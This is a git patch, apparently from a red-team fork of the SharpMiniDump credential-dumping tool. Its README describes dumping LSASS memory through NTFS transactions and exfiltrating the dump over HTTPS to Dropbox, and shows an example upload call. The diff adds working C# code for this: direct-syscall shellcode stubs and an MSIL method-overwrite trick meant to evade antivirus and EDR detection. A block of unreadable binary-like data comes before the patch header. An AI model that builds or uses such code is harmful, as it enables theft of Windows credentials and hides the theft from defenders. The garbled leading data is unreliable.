zBVjQQ!0gXJQUneB1uzi5+ZEOS^eVw8Zwdr!R(=g1cl4BOF$Dh0oeBsK6#Pr1k#T3ENbc0V!7nxs~Gcw^a=`!~+Ze~hmQf6Lec4mTPz3}!xM&Q948$o9_J0tNlr>mOU_QtP);12J2-l9P62)a zjscznhXK=o_rN#6lHf{kCHND(3Jw9z0p0=b0Gty16C4vf5gy71{t0}amlJwhdX1WM z3n}O<+!$GM6H;MkC4$VH3p+d(N?EFzqvDneRK5moZdfC8fgVo;a)=|^P>iVy6nrcq z!5&Bia!e!HV2qp#6+9Ld5LmiUu^bGX0)nW4 zK&e4NYv}zOI&J)Y8+?-y2h_XJU{E0DIiEfM9C7p+*-!N$Ce#=MlIMs0f>0H)nxy&h zEjg}o^T$U=0~Uz<0Wg?ZwlA4feRHT#Y{t0|vMN0Js1EfB*mj zQBOyOeA6=ksNn-HoX4q}DFOov`rrcufSd>*J4h&0fC~T%WOZ$DWpZ>bWq4%@0|J&^ RsG^5Q)&U)NR#5{51OS&BMbZEO From 843bb1a9fb1f4b2d76eaa184a31cba4866d84a80 Mon Sep 17 00:00:00 2001 From: El kuni Date: Sat, 14 Nov 2020 04:37:38 -0300 Subject: [PATCH 5/5] Update --- README.md | 8 +- SharpMiniDump/CustomLoadLibrary.cs | 63 +-- SharpMiniDump/Msil.cs | 191 +++++++ SharpMiniDump/NativeSysCall.cs | 306 ++-------- SharpMiniDump/Natives.cs | 871 +---------------------------- SharpMiniDump/Program.cs | 81 ++- SharpMiniDump/SharpMiniDump.csproj | 2 + SharpMiniDump/SslTcpClient.cs | 51 ++ 8 files changed, 372 insertions(+), 1201 deletions(-) create mode 100644 SharpMiniDump/Msil.cs create mode 100644 SharpMiniDump/SslTcpClient.cs diff --git a/README.md b/README.md index bbcae26..d3628c9 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,12 @@ # SharpMiniDump -Create a minidump of the LSASS process from memory (Windows 10 - Windows Server 2016). The entire process uses: dynamic API calls, direct syscall and Native API unhooking to evade the AV / EDR detection. +Implementation of b4rtiks's [SharpMiniDump](https://github.com/b4rtik/SharpMiniDump) using NTFS transactions to avoid writting the minidump to disk and exfiltrating it via HTTPS using sockets. As a POC, dropbox is used to exfiltrate the data but this can me easily modified. -SharpMiniDump is a rough port of this project [Dumpert](https://github.com/outflanknl/Dumpert) by [@Cn33liz](https://twitter.com/Cneelis) and you will find the detail in this [post](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/), so BIG credits to him. +If you wish to use dropbox, just change the following parameters at Program.cs:201 and you are good to go. -Other credits go to [@cobbr_io](https://twitter.com/cobbr_io) and [@TheRealWover](https://twitter.com/TheRealWover) for their work on [SharpSploit](https://github.com/cobbr/SharpSploit) (Execution / DynamicInvoke) +```C# +SslTcpClient.RunClient("content.dropboxapi.com", "", "", b64); +``` diff --git a/SharpMiniDump/CustomLoadLibrary.cs b/SharpMiniDump/CustomLoadLibrary.cs index 374accb..687fb70 100644 --- a/SharpMiniDump/CustomLoadLibrary.cs +++ b/SharpMiniDump/CustomLoadLibrary.cs @@ -1,28 +1,12 @@ -// -// Author: B4rtik (@b4rtik) -// Project: RedPeanut (https://github.com/b4rtik/RedPeanut) -// License: BSD 3-Clause -// - -using System; -using System.Collections.Generic; +using System; using System.Diagnostics; using System.IO; -using System.Linq; using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; namespace SharpMiniDump { public class CustomLoadLibrary - { - /// - /// Resolves LdrLoadDll and uses that function to load a DLL from disk. - /// - /// Ruben Boonen (@FuzzySec) - /// The path to the DLL on disk. Uses the LoadLibrary convention. - /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. + { public static IntPtr LoadModuleFromDisk(string DLLPath) { Natives.UNICODE_STRING uModuleName = new Natives.UNICODE_STRING(); @@ -56,40 +40,7 @@ public static IntPtr GetDllAddress(string DLLName, bool CanLoadFromDisk = false) return hModule; } - - /// - /// Helper for getting the pointer to a function from a DLL loaded by the process. - /// - /// Ruben Boonen (@FuzzySec) - /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). - /// Name of the exported procedure. - /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. - /// IntPtr for the desired function. - public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) - { - IntPtr hModule = GetLoadedModuleAddress(DLLName); - if (hModule == IntPtr.Zero && CanLoadFromDisk) - { - hModule = LoadModuleFromDisk(DLLName); - if (hModule == IntPtr.Zero) - { - throw new FileNotFoundException(DLLName + ", unable to find the specified file."); - } - } - else if (hModule == IntPtr.Zero) - { - throw new DllNotFoundException(DLLName + ", Dll was not found."); - } - - return GetExportAddress(hModule, FunctionName); - } - - /// - /// Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing. - /// - /// Ruben Boonen (@FuzzySec) - /// The name of the DLL (e.g. "ntdll.dll"). - /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. + public static IntPtr GetLoadedModuleAddress(string DLLName) { ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; @@ -103,13 +54,7 @@ public static IntPtr GetLoadedModuleAddress(string DLLName) return IntPtr.Zero; } - /// - /// Given a module base address, resolve the address of a function by manually walking the module export table. - /// - /// Ruben Boonen (@FuzzySec) - /// A pointer to the base address where the module is loaded in the current process. - /// The name of the export to search for (e.g. "NtAlertResumeThread"). - /// IntPtr for the desired function. + public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) { IntPtr FunctionPtr = IntPtr.Zero; diff --git a/SharpMiniDump/Msil.cs b/SharpMiniDump/Msil.cs new file mode 100644 index 0000000..d7905e5 --- /dev/null +++ b/SharpMiniDump/Msil.cs @@ -0,0 +1,191 @@ +using System; +using System.Runtime.InteropServices; +using System.Reflection.Emit; +using System.Reflection; +using System.Security; + +namespace SharpMiniDump +{ + class msil + { + public unsafe static IntPtr getAdrressWithMSIL(byte[] syscall) + { + //begin memcopy en msil + AppDomain appD = AppDomain.CurrentDomain; + AssemblyName assName = new AssemblyName("MethodSmasher"); + AssemblyBuilder assBuilder = appD.DefineDynamicAssembly(assName, AssemblyBuilderAccess.Run); + AllowPartiallyTrustedCallersAttribute attr = new AllowPartiallyTrustedCallersAttribute(); + ConstructorInfo csInfo = attr.GetType().GetConstructors()[0]; + object[] obArray = new object[0]; + CustomAttributeBuilder cAttrB = new CustomAttributeBuilder(csInfo, obArray); + assBuilder.SetCustomAttribute(cAttrB); + ModuleBuilder mBuilder = assBuilder.DefineDynamicModule("MethodSmasher"); + UnverifiableCodeAttribute codAttr = new UnverifiableCodeAttribute(); + csInfo = codAttr.GetType().GetConstructors()[0]; + CustomAttributeBuilder modCAttrB = new CustomAttributeBuilder(csInfo, obArray); + mBuilder.SetCustomAttribute(modCAttrB); + TypeBuilder tBuilder = mBuilder.DefineType("MethodSmasher", TypeAttributes.Public); + Type[] allParams = { typeof(IntPtr), typeof(IntPtr), typeof(Int32) }; + MethodBuilder methodBuilder = tBuilder.DefineMethod("OverwriteMethod", MethodAttributes.Public | MethodAttributes.Static, null, allParams); + ILGenerator generator = methodBuilder.GetILGenerator(); + + generator.Emit(OpCodes.Ldarg_0); + generator.Emit(OpCodes.Ldarg_1); + generator.Emit(OpCodes.Ldarg_2); + generator.Emit(OpCodes.Volatile); + generator.Emit(OpCodes.Cpblk); + generator.Emit(OpCodes.Ret); + + var smasherType = tBuilder.CreateType(); + var overWriteMethod = smasherType.GetMethod("OverwriteMethod"); + //end memcopy en msil + + //begin xor dummy method + appD = AppDomain.CurrentDomain; + assName = new AssemblyName("SmashMe"); + assBuilder = appD.DefineDynamicAssembly(assName, AssemblyBuilderAccess.Run); + attr = new AllowPartiallyTrustedCallersAttribute(); + csInfo = attr.GetType().GetConstructors()[0]; + obArray = new object[0]; + cAttrB = new CustomAttributeBuilder(csInfo, obArray); + assBuilder.SetCustomAttribute(cAttrB); + mBuilder = assBuilder.DefineDynamicModule("SmashMe"); + codAttr = new UnverifiableCodeAttribute(); + csInfo = codAttr.GetType().GetConstructors()[0]; + modCAttrB = new CustomAttributeBuilder(csInfo, obArray); + mBuilder.SetCustomAttribute(modCAttrB); + tBuilder = mBuilder.DefineType("SmashMe", TypeAttributes.Public); + Int32 xorK = 0x41424344; + Type[] allParams2 = { typeof(Int32) }; + methodBuilder = tBuilder.DefineMethod("OverwriteMe", MethodAttributes.Public | MethodAttributes.Static, typeof(Int32), allParams2); + generator = methodBuilder.GetILGenerator(); + generator.DeclareLocal(typeof(Int32)); + generator.Emit(OpCodes.Ldarg_0); + + for (var x = 0; x < 13000; x++) + { + generator.Emit(OpCodes.Ldc_I4, xorK); + generator.Emit(OpCodes.Xor); + generator.Emit(OpCodes.Stloc_0); + generator.Emit(OpCodes.Ldloc_0); + } + + generator.Emit(OpCodes.Ldc_I4, xorK); + generator.Emit(OpCodes.Xor); + generator.Emit(OpCodes.Ret); + + var smashmeType = tBuilder.CreateType(); + var overwriteMeMethod = smashmeType.GetMethod("OverwriteMe"); + //end xor dummy method + + //jit the xor method + for (var x = 0; x < 40; x++) + { + try + { + var i = overwriteMeMethod.Invoke(null, new object[] { 0x11112222 }); + } + catch (Exception e) + { + if (e.InnerException != null) + { + string err = e.InnerException.Message; + } + } + } + + byte[] trap; + + + if (IntPtr.Size == 4) + { + //32bits shcode + trap = new byte[] { 0x90 }; + } + else + { + //64bits shcode + trap = new byte[] { 0x90 }; + } + + byte[] finalShellcode = new byte[trap.Length + syscall.Length]; + Buffer.BlockCopy(trap, 0, finalShellcode, 0, trap.Length); + Buffer.BlockCopy(syscall, 0, finalShellcode, trap.Length, syscall.Length); + + IntPtr shellcodeAddress = Marshal.AllocHGlobal(finalShellcode.Length); + + Marshal.Copy(finalShellcode, 0, shellcodeAddress, finalShellcode.Length); + + IntPtr targetMethodAddress = getMethodAddress(overwriteMeMethod); + + object[] owParams = new object[] { targetMethodAddress, shellcodeAddress, finalShellcode.Length }; + try + { + overWriteMethod.Invoke(null, owParams); + } + catch (Exception e) + { + if (e.InnerException != null) + { + string err = e.InnerException.Message; + } + } + + return targetMethodAddress; + } + + public static IntPtr getMethodAddress(MethodInfo minfo) + { + + IntPtr retAd = new IntPtr(); + Type typeBuilded; + + if (minfo.GetMethodImplementationFlags() == MethodImplAttributes.InternalCall) + { + return IntPtr.Zero; + } + + try + { + typeBuilded = Type.GetType("MethodLeaker", true); + } + catch + { + AppDomain appD = AppDomain.CurrentDomain; + AssemblyName assName = new AssemblyName("MethodLeakAssembly"); + AssemblyBuilder assBuilder = appD.DefineDynamicAssembly(assName, AssemblyBuilderAccess.Run); + ModuleBuilder mBuilder = assBuilder.DefineDynamicModule("MethodLeakModule"); + TypeBuilder tBuilder = mBuilder.DefineType("MethodLeaker", TypeAttributes.Public); + + MethodBuilder metBuilder; + if (IntPtr.Size == 4) + { + metBuilder = tBuilder.DefineMethod("LeakMethod", MethodAttributes.Public | MethodAttributes.Static, typeof(IntPtr), null); + + } + else + { + metBuilder = tBuilder.DefineMethod("LeakMethod", MethodAttributes.Public | MethodAttributes.Static, typeof(IntPtr), null); + } + + ILGenerator ilGen = metBuilder.GetILGenerator(); + + ilGen.Emit(OpCodes.Ldftn, minfo); + ilGen.Emit(OpCodes.Ret); + + typeBuilded = tBuilder.CreateType(); + } + MethodInfo methodInfoBuilded = typeBuilded.GetMethod("LeakMethod"); + try + { + var obj = methodInfoBuilded.Invoke(null, null); + retAd = (IntPtr)obj; + } + catch (Exception e) + { + Console.WriteLine(methodInfoBuilded.Name + " cannot return an unmanaged address."); + } + return retAd; + } + } +} diff --git a/SharpMiniDump/NativeSysCall.cs b/SharpMiniDump/NativeSysCall.cs index 21acce7..9ad3bcb 100644 --- a/SharpMiniDump/NativeSysCall.cs +++ b/SharpMiniDump/NativeSysCall.cs @@ -1,12 +1,4 @@ -// -// Author: B4rtik (@b4rtik) -// Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump) -// License: BSD 3-Clause -// - -using System; -using System.ComponentModel; -using System.Diagnostics; +using System; using System.Runtime.InteropServices; using System.Security; using static SharpMiniDump.Natives; @@ -37,250 +29,95 @@ class NativeSysCall static byte[] bZwProtectVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x50, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; /// 0: 49 89 ca mov r10,rcx - /// 3: b8 0f 00 00 00 mov eax,0x36 + /// 3: b8 0f 00 00 00 mov eax,0x55 /// 8: 0f 05 syscall /// a: c3 ret - static byte[] bZwQuerySystemInformation10 = { 0x49, 0x89, 0xCA, 0xB8, 0x36, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; + static byte[] bNtCreateFile10 = { 0x49, 0x89, 0xCA, 0xB8, 0x55, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; - /// 0: 49 89 ca mov r10,rcx - /// 3: b8 0f 00 00 00 mov eax,0x18 - /// 8: 0f 05 syscall - /// a: c3 ret + ///0: 49 89 ca mov r10,rcx + ///3: b8 26 00 00 00 mov eax,0x26 + ///8: 0f 05 syscall + ///a: c3 ret - static byte[] bNtAllocateVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x18, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; + static byte[] bZwOpenProcess10 = { 0x49, 0x89, 0xCA, 0xB8, 0x26, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; /// 0: 49 89 ca mov r10,rcx - /// 3: b8 0f 00 00 00 mov eax,0x1E + /// 3: b8 0f 00 00 00 mov eax,0xC6 /// 8: 0f 05 syscall /// a: c3 ret - static byte[] bNtFreeVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x1E, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; + static byte[] bNtCreateTransaction10 = { 0x49, 0x89, 0xCA, 0xB8, 0xC6, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; - /// 0: 49 89 ca mov r10,rcx - /// 3: b8 0f 00 00 00 mov eax,0x55 - /// 8: 0f 05 syscall - /// a: c3 ret + public static NTSTATUS NtCreateTransaction10(out IntPtr tHandle, int desiredAccess, IntPtr objAttr, IntPtr Uow, IntPtr TmHandle, ulong createOptions, ulong isolationLevel, ulong isolationFlags, IntPtr Timeout, IntPtr Description) + { + byte[] syscall = bNtCreateTransaction10; - static byte[] bNtCreateFile10 = { 0x49, 0x89, 0xCA, 0xB8, 0x55, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; + IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); - ///0: 49 89 ca mov r10,rcx - ///3: b8 26 00 00 00 mov eax,0x26 - ///8: 0f 05 syscall - ///a: c3 ret + Delegates.NtCreateTransaction myAssemblyFunction = (Delegates.NtCreateTransaction)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateTransaction)); - static byte[] bZwOpenProcess10 = { 0x49, 0x89, 0xCA, 0xB8, 0x26, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; + return (NTSTATUS)myAssemblyFunction(out tHandle, desiredAccess, objAttr, Uow, TmHandle, createOptions, isolationLevel, isolationFlags, Timeout, Description); + } public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid) { byte[] syscall = bZwOpenProcess10; - unsafe - { - fixed (byte* ptr = syscall) - { - - IntPtr memoryAddress = (IntPtr)ptr; - - if (!Natives.VirtualProtect(memoryAddress, - (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) - { - throw new Win32Exception(); - } - - Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); + IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); + + Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); - return (NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid); - } - } + return (NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid); + } public static NTSTATUS ZwClose10(IntPtr handle) { byte[] syscall = bZwClose10; - unsafe - { - fixed (byte* ptr = syscall) - { - - IntPtr memoryAddress = (IntPtr)ptr; - - if (!Natives.VirtualProtect( memoryAddress, - (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) - { - throw new Win32Exception(); - } - - Delegates.ZwClose myAssemblyFunction = (Delegates.ZwClose)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwClose)); + IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); + + Delegates.ZwClose myAssemblyFunction = (Delegates.ZwClose)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwClose)); - return (NTSTATUS)myAssemblyFunction(handle); - } - } + return (NTSTATUS)myAssemblyFunction(handle); + } - + public static NTSTATUS ZwWriteVirtualMemory10(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten) { byte[] syscall = bZwWriteVirtualMemory10; - unsafe - { - fixed (byte* ptr = syscall) - { - - IntPtr memoryAddress = (IntPtr)ptr; - - if (!Natives.VirtualProtect( memoryAddress, - (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) - { - throw new Win32Exception(); - } - - Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); + IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); + + Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); - return (NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); - } - } + return (NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); + } public static NTSTATUS ZwProtectVirtualMemory10(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten) { byte[] syscall = bZwProtectVirtualMemory10; - unsafe - { - fixed (byte* ptr = syscall) - { - - IntPtr memoryAddress = (IntPtr)ptr; - - if (!Natives.VirtualProtect(memoryAddress, - (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) - { - throw new Win32Exception(); - } - - Delegates.ZwProtectVirtualMemory myAssemblyFunction = (Delegates.ZwProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwProtectVirtualMemory)); - - return (NTSTATUS)myAssemblyFunction(hProcess, ref lpBaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, ref lpNumberOfBytesWritten); - } - } - } - - public static NTSTATUS ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength) - { - byte[] syscall = bZwQuerySystemInformation10; - - unsafe - { - fixed (byte* ptr = syscall) - { - - IntPtr memoryAddress = (IntPtr)ptr; - - if (!Natives.VirtualProtect(memoryAddress, - (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) - { - throw new Win32Exception(); - } + IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); - Delegates.ZwQuerySystemInformation myAssemblyFunction = (Delegates.ZwQuerySystemInformation)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwQuerySystemInformation)); + Delegates.ZwProtectVirtualMemory myAssemblyFunction = (Delegates.ZwProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwProtectVirtualMemory)); - return (NTSTATUS)myAssemblyFunction(SystemInformationClass, SystemInformation, SystemInformationLength, ref ReturnLength); - } - } - } - - public static NTSTATUS NtAllocateVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect) - { - byte[] syscall = bNtAllocateVirtualMemory10; - - unsafe - { - fixed (byte* ptr = syscall) - { - - IntPtr memoryAddress = (IntPtr)ptr; - - if (!Natives.VirtualProtect(memoryAddress, - (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) - { - throw new Win32Exception(); - } - - Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); - - return (NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); - } - } + return (NTSTATUS)myAssemblyFunction(hProcess, ref lpBaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, ref lpNumberOfBytesWritten); + } - public static NTSTATUS NtFreeVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType) + public static NTSTATUS NtCreateFile10(out IntPtr fileHandle, Int32 desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes, out IO_STATUS_BLOCK ioStatusBlock, ref Int64 allocationSize, UInt32 fileAttributes, System.IO.FileShare shareAccess, UInt32 createDisposition, UInt32 createOptions, IntPtr eaBuffer, UInt32 eaLength) { - byte[] syscall = bNtFreeVirtualMemory10; - - unsafe - { - fixed (byte* ptr = syscall) - { - - IntPtr memoryAddress = (IntPtr)ptr; - - if (!Natives.VirtualProtect(memoryAddress, - (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) - { - throw new Win32Exception(); - } - - Delegates.NtFreeVirtualMemory myAssemblyFunction = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtFreeVirtualMemory)); + byte[] syscall = bNtCreateFile10; - return (NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ref RegionSize, FreeType); - } - } - } + IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); - public static NTSTATUS NtCreateFile10(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle, - Int32 desiredAccess, - ref OBJECT_ATTRIBUTES objectAttributes, - out IO_STATUS_BLOCK ioStatusBlock, - ref Int64 allocationSize, - UInt32 fileAttributes, - System.IO.FileShare shareAccess, - UInt32 createDisposition, - UInt32 createOptions, - IntPtr eaBuffer, - UInt32 eaLength) - { - byte[] syscall = bNtCreateFile10; + Delegates.NtCreateFile myAssemblyFunction = (Delegates.NtCreateFile)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateFile)); - unsafe - { - fixed (byte* ptr = syscall) - { - - IntPtr memoryAddress = (IntPtr)ptr; - - if (!Natives.VirtualProtect(memoryAddress, - (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) - { - throw new Win32Exception(); - } - - Delegates.NtCreateFile myAssemblyFunction = (Delegates.NtCreateFile)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateFile)); - - return (NTSTATUS)myAssemblyFunction(out fileHandle, - desiredAccess, - ref objectAttributes, - out ioStatusBlock, - ref allocationSize, - fileAttributes, - shareAccess, - createDisposition, - createOptions, - eaBuffer, - eaLength); - } - } + return (NTSTATUS)myAssemblyFunction(out fileHandle, desiredAccess,ref objectAttributes,out ioStatusBlock,ref allocationSize, fileAttributes, shareAccess, createDisposition, createOptions, eaBuffer, eaLength); + } public struct Delegates @@ -291,45 +128,23 @@ public struct Delegates [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int ZwClose(IntPtr handle); - - [SuppressUnmanagedCodeSecurity] - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten); + public delegate int NtCreateTransaction(out IntPtr tHandle, int desiredAccess, IntPtr objAttr, IntPtr Uow, IntPtr TmHandle, ulong createOptions, ulong isolationLevel, ulong isolationFlags, IntPtr Timeout, IntPtr Description); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int ZwProtectVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten); - - [SuppressUnmanagedCodeSecurity] - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength); - - [SuppressUnmanagedCodeSecurity] - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); + public delegate int ZwClose(IntPtr handle); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType); + public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int NtCreateFile(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle, - Int32 desiredAccess, - ref OBJECT_ATTRIBUTES objectAttributes, - out IO_STATUS_BLOCK ioStatusBlock, - ref Int64 allocationSize, - UInt32 fileAttributes, - System.IO.FileShare shareAccess, - UInt32 createDisposition, - UInt32 createOptions, - IntPtr eaBuffer, - UInt32 eaLength); + public delegate int ZwProtectVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate bool RtlEqualUnicodeString(UNICODE_STRING String1, UNICODE_STRING String2, bool CaseInSensitive); + public delegate int NtCreateFile(out IntPtr fileHandle, Int32 desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes, out IO_STATUS_BLOCK ioStatusBlock, ref Int64 allocationSize, UInt32 fileAttributes, System.IO.FileShare shareAccess, UInt32 createDisposition, UInt32 createOptions, IntPtr eaBuffer, UInt32 eaLength); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] @@ -341,33 +156,19 @@ public delegate int NtCreateFile(out Microsoft.Win32.SafeHandles.SafeFileHandle [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); - - + public delegate bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); + [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int LdrLoadDll(IntPtr PathToFile, - UInt32 dwFlags, - ref Natives.UNICODE_STRING ModuleFileName, - ref IntPtr ModuleHandle); - - + public delegate int LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Natives.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); + [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken); - - [SuppressUnmanagedCodeSecurity] - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate bool RevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate Boolean ImpersonateLoggedOnUser(IntPtr hToken); - [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] @@ -408,9 +209,6 @@ public delegate int LdrLoadDll(IntPtr PathToFile, [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int PssCaptureSnapshot(IntPtr ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, int ThreadContextFlags, ref IntPtr SnapshotHandle); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate bool MyMiniDumpWriteDumpCallback(IntPtr CallbackParam, IntPtr CallbackInput, IntPtr CallbackOutput); } } } diff --git a/SharpMiniDump/Natives.cs b/SharpMiniDump/Natives.cs index 02fb9e7..e6ae7c8 100644 --- a/SharpMiniDump/Natives.cs +++ b/SharpMiniDump/Natives.cs @@ -1,41 +1,25 @@ -// -// Author: B4rtik (@b4rtik) 